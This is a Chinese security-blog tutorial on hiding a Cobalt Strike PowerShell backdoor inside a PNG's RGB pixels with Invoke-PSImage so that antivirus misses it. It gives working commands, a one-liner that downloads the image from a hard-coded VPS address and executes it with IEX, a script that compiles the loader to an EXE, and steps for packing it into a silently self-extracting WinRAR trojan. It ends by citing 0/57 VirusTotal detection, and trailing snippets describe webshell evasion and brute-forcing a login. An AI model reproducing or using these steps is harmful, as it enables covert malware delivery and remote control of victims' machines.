免杀|利用RGB隐写隐藏Shellcode

VSole2021-09-26 10:06:40

前言本篇文章将演示利用隐写术将 Shellcode 隐写入 PNG 图片 RGB 像素中,从而隐藏后门代码,并进行远程加载控制目标主机。

实战演示需要使用 Invoke-PSImage 工具:

•项目地址:https://github.com/peewpw/Invoke-PSImage

首先使用 Cobalt Strike 生成 Powershell 类型(.ps1)的

image-20210921133427498

然后将刚才生成的 payload.ps1 文件放在 Invoke-PSImage 项目内,再准备一张图片用于生成一张带有 Shellcode 的图片,二者与 Invoke-PSImage.ps1 文件在同一目录:

image-2021092116235638

远程加载

执行以下命令即可生成一个带有 Shellcode 的图片 shell.png:

# 设置执行策略
Set-ExecutionPolicy Unrestricted -Scope CurrentUser
# 导入 Invoke-PSimage.ps1 文件
Import-Module .\Invoke-PSimage.ps1
# 生成带有 Shellcode 的图片
Invoke-PSImage -Script .\payload.ps1 -Image .\origin.jpg -Out .\shell.png -Web

image-20210921162516197

执行之后得到一串代码:

sal a New-Object;Add-Type -A System.Drawing;$g=a System.Drawing.Bitmap((a Net.WebClient).OpenRead("http://example.com/shell.png"));$o=a Byte[] 5120;(0..1)|%{foreach($x in(0..2559)){$p=$g.GetPixel($x,$_);$o[$_*2560+$x]=([math]::Floor(($p.B-band15)*16)-bor($p.G -band 15))}};IEX([System.Text.Encoding]::ASCII.GetString($o[0..3550]))

并且会得到带有 Shellcode 的图片 shell.png:

image-20210921162640820

接着,我们在自己的 VPS 上开启一个 Web 服务,用于托管得到的 shell.png:

image-20210921135950506

然后将上面得到的代码中的 http://example.com/shell.png 改为我们自己的 Web 服务地址:

sal a New-Object;Add-Type -A System.Drawing;$g=a System.Drawing.Bitmap((a Net.WebClient).OpenRead("http://47.101.57.72/shell.png"));$o=a Byte[] 5120;(0..1)|%{foreach($x in(0..2559)){$p=$g.GetPixel($x,$_);$o[$_*2560+$x]=([math]::Floor(($p.B-band15)*16)-bor($p.G -band 15))}};IEX([System.Text.Encoding]::ASCII.GetString($o[0..3550]))

在目标主机上执行这段代码后目标机成功上线:

image-20210921163837141

我们还可以将上面那段加载的命令编译生成可执行文件,这里我们直接使用网上找的脚本进行编译:

•Convert-PS1ToExe.ps1

function Convert-PS1ToExe
{
    param(
    [Parameter(Mandatory=$true)]
    [ValidateScript({$true})]
    [ValidateNotNullOrEmpty()]   
    [IO.FileInfo]$ScriptFile
    )
    if( -not $ScriptFile.Exists)
    {
        Write-Warning "$ScriptFile not exits."
        return
    }
 
    [string]$csharpCode = @'
    using System;
    using System.IO;
    using System.Reflection;
    using System.Diagnostics;
    namespace LoadXmlTestConsole
    {
        public class ConsoleWriter
        {
            private static void Proc_OutputDataReceived(object sender, System.Diagnostics.DataReceivedEventArgs e)
            {
                Process pro = sender as Process;
                Console.WriteLine(e.Data);
            }
            static void Main(string[] args)
            {
                // Set title of console
                Console.Title = "Powered by PSTips.Net";
 
                // read script from resource
                Assembly ase = Assembly.GetExecutingAssembly();
                string scriptName = ase.GetManifestResourceNames()[0];
                string scriptContent = string.Empty;
                using (Stream stream = ase.GetManifestResourceStream(scriptName))
                using (StreamReader reader = new StreamReader(stream))
                {
                    scriptContent = reader.ReadToEnd();
                }
 
                string scriptFile = Environment.ExpandEnvironmentVariables(string.Format("%temp%\\{0}", scriptName));
                try
                {
                    // output script file to temp path
                    File.WriteAllText(scriptFile, scriptContent);
 
                    ProcessStartInfo proInfo = new ProcessStartInfo();
                    proInfo.FileName = "PowerShell.exe";
                    proInfo.CreateNoWindow = true;
                    proInfo.RedirectStandardOutput = true;
                    proInfo.UseShellExecute = false;
                    proInfo.Arguments = string.Format(" -File {0}",scriptFile);
 
                    var proc = Process.Start(proInfo);
                    proc.OutputDataReceived += Proc_OutputDataReceived;
                    proc.BeginOutputReadLine();
                    proc.WaitForExit();
                    Console.WriteLine("Hit any key to continue...");
                    Console.ReadKey();
                }
                catch (Exception ex)
                {
                    Console.WriteLine("Hit Exception: {0}", ex.Message);
                }
                finally
                {
                    // delete temp file
                    if (File.Exists(scriptFile))
                    {
                        File.Delete(scriptFile);
                    }
                }
 
            }
 
        }
    }
'@
 
    # $providerDict
    $providerDict = New-Object 'System.Collections.Generic.Dictionary[[string],[string]]'
    $providerDict.Add('CompilerVersion','v4.0')
    $codeCompiler = [Microsoft.CSharp.CSharpCodeProvider]$providerDict
 
    # Create the optional compiler parameters
    $compilerParameters = New-Object 'System.CodeDom.Compiler.CompilerParameters'
    $compilerParameters.GenerateExecutable = $true
    $compilerParameters.GenerateInMemory = $true
    $compilerParameters.WarningLevel = 3
    $compilerParameters.TreatWarningsAsErrors = $false
    $compilerParameters.CompilerOptions = '/optimize'
    $outputExe = Join-Path $ScriptFile.Directory "$($ScriptFile.BaseName).exe"
    $compilerParameters.OutputAssembly =  $outputExe
    $compilerParameters.EmbeddedResources.Add($ScriptFile.FullName) > $null
    $compilerParameters.ReferencedAssemblies.Add( [System.Diagnostics.Process].Assembly.Location ) > $null
 
    # Compile Assembly
    $compilerResult = $codeCompiler.CompileAssemblyFromSource($compilerParameters,$csharpCode)
 
    # Print compiler errors
    if($compilerResult.Errors.HasErrors)
    {
        Write-Host 'Compile faield. See error message as below:' -ForegroundColor Red
        $compilerResult.Errors | foreach {
            Write-Warning ('{0},[{1},{2}],{3}' -f $_.ErrorNumber,$_.Line,$_.Column,$_.ErrorText )
        }
    }
    else
    {
         Write-Host 'Compile succeed.' -ForegroundColor Green
         "Output executable file to '$outputExe'"
    }
}

首先将那段用于加载 Shellcode 的命令写入文件 Loader.ps1 中:

然后执行以下命令,使用 Convert-PS1ToExe.ps1 将 Loader.ps1 编译成 EXE:

Import-Module .\Convert-PS1ToExe.ps1
Convert-PS1ToExe -ScriptFile .\Loader.ps1

将生成的 exe.jpg 上传到目标主机并执行:

image-20210921172516131

如上图所示,目标机成功上线。美中不足的是有个弹窗。

使用远程加载固然方便,但是由于生成的图片非常大,远程加载所耗的时间较长,所以我们可以尽可能的本地加载。

本地加载

执行以下命令即可生成一个带有 Shellcode 的图片 shell.png:

# 设置执行策略
Set-ExecutionPolicy Unrestricted -Scope CurrentUser
# 导入 Invoke-PSimage.ps1 文件
Import-Module .\Invoke-PSimage.ps1
# 生成带有 Shellcode 的图片
Invoke-PSImage -Script .\payload.ps1 -Image .\origin.jpg -Out .\shell.png

image-20210921164514521

如上图所示,生成了包含 Shellcode 的图片 shell.png 与加载 Shellcode 使用的代码:

sal a New-Object;Add-Type -A System.Drawing;$g=a System.Drawing.Bitmap(".\shell.png");$o=a Byte[] 5120;(0..1)|%{foreach($x in(0..2559)){$p=$g.GetPixel($x,$_);$o[$_*2560+$x]=([math]::Floor(($p.B-band15)*16)-bor($p.G-band15))}};$g.Dispose();IEX([System.Text.Encoding]::ASCII.GetString($o[0..3550]))

执行上面的命令,在本地加载图片里的 Shellcode:

如上图所示,成功上线。

下面,我们将这种本地加载中的加载命令也用之前的方式编译成可执行文件:

此时执行 Loader.exe 便可以加载 shell.png 中的 Shellcode,但二者必须在同一目录下。为了方便,我们还需要完善一下。

这里我们参考使用 WinRAR 自解压捆绑木马的思路,将 shell.png 和 Loader.exe 压缩在一起,并设置成自解压格式,那么当用户运行时,二者便会被解压到相同的目录并自动执行 Loader.exe。

首先,选中这两个文件,鼠标右键,将这两个文件添加到压缩文件。点击 “创建自解压格式压缩文件”,此时rar就会变成 exe 后缀的文件:

然后点击“高级”—>“自解压文件选项”—>“常规”:

设置解压后文件的存储路径为 C:\WINDOWS\Temp

然后,进入“安装”(有的版本也叫“设置”),填入解压完成后需要执行的程序:

然后,进入“模式”,选择模式为“全部隐藏”:

然后,进入“更新”,将更新方式设置为“解压并更新文件”,覆盖方式设置为“覆盖所有文件”:

最后点击确定,即可生成一个 Desktop.exe 的文件:

image-20210921175013158

运行 Desktop.exe 即可成功上线:

image-20210921175436599

免杀测试将生成的 shell.png 扔到 virustotal 上面去测试,查杀率为 0/57:

shell免杀
本作品采用《CC 协议》,转载必须注明作者和本文链接
之前有看到goby反制和松鼠A师傅蚁剑反制的文章,再想到之前写过sqlmap的shell,觉得思路其实差不多,就写一篇sqlmap的反制吧。
突破安全策略上线CS
2021-10-29 08:09:17
0x01 环境简述&说明web打点getshell,webshell是冰蝎,权限为.net,权限很低,服务器为server 2016,目标不出网!0x02 为什么要上线cswebshell权限太低,限制性大,需要上线cs提权,因为cs是采用反射dll来加载pe程序,从而在执行一些敏感操作的时候能起到一定的bypass作用,例如mimikatz抓密码等操作。
星辰由凌日内部大佬花了两天时间用php语言开发的带ui的工具,使用者可上传由冰蝎或者天蝎生成的webshell,动态自动生成webshell。目前只支持php和jsp,其它语言各位使用者可自己去编写脚本实现。依赖:php5.6.7+mysql+nginx后台管理:/admin功能:1、授权功能,用户shell生成次数限制。
前言 今天本来想做个PS1的,但做的时候要用到cobaltstrike来生成ps1后门 刚开始的时候并不知道cobaltstrike是一个用于团队项目的工具,所以过程中出现了很多问题。为了让大家熟悉cobaltstrike的运行流程 感觉还是很有必要写一篇有关cobaltstrike公网配置的文章。顺便讲一下一个很不错的脚本 新版本的CS要配合linux服务端才能运行起来。更多操作等你们发现~ 原创:...
这个世界充满了待解决的迷人问题,做一个黑客有很多乐趣,但是需要颇费气力才能获得这些乐趣。这些动力需要动机。
获取到老的其他系统登录口http://xxx.xxx.edu.cn/psy/Login2.aspx如图,没有任何验证码机制直接Burp Cluster bomb式爆破成功得到其他系统的弱口令admin,Aa123456但是老系统其他页面已经除,无法正常登入后台八嘎呀路,不是良民的干活!但推测新老系统用的同一个数据库访问新系统http://xxx.xxx.edu.cn/psy/Login.aspx使用密码admin,Aa123456成功登陆后台翻找上传点上传点在http://xxx.xxx.edu.cn/psy/ScaleManage/ScaleEdit.aspx?
作为拥有着10年经验的渗透安全测试工程师,一路也是从小白历经磨难成长起来的我,给现在的新手小白一些建
对于很多大佬来说肯定是十分熟悉的,弟弟我只能简单的介绍下其简介: cs拥有多种协议主机上线方式,集成了提权,凭据导出,端口转发,socket代理,office攻击,文件捆绑,钓鱼等功能。同时,cs还可以调用Mimikatz等其他知名工具。0x03 实践说的再多也不如拿真实情况来说话,实践主要对上述的六种工具做下简单的使用,并利用线上箱进行简单的查杀检测。接下来主要以3.12为主。
前言提到webshell,方法无外乎对静态特征的变形,编码,或利用语言特性绕过。计算机中有很多符号,它们在编程语言中占据一席之地,这些符号作为运算符号,标识符号或起到特殊含义。本文以PHP为例介绍一些利用符号方法。WAF检测通过对安全狗、护卫神、D盾等常见软WAF的测试,发现WAF查杀主要依赖两种检测方法1.静态检测:通过匹配特征来查找webshell。如危险函数,文件特征码等。例如 ${$my_var[8]}与${$my_var}[8]的区分${xxx} 括起来的要当成变量处理。
,又叫毒技术,是反病毒,反间谍的对立面,是一种能使病毒或木马免于被毒软件查杀的软件。它除了使病毒木马免于被查杀外,还可以扩增病毒木马的功能,改变病毒木马的行为。的基本特征是破坏特征,有可能是行为特征,只要破坏了病毒与木马所固有的特征,并保证其原有功能没有改变,一次就能完成了。技术也并不是十恶不赦的,例如,在软件保护所用的加密产品(比如壳)中,有一些会被毒软件认为是木马病毒;
VSole
网络安全专家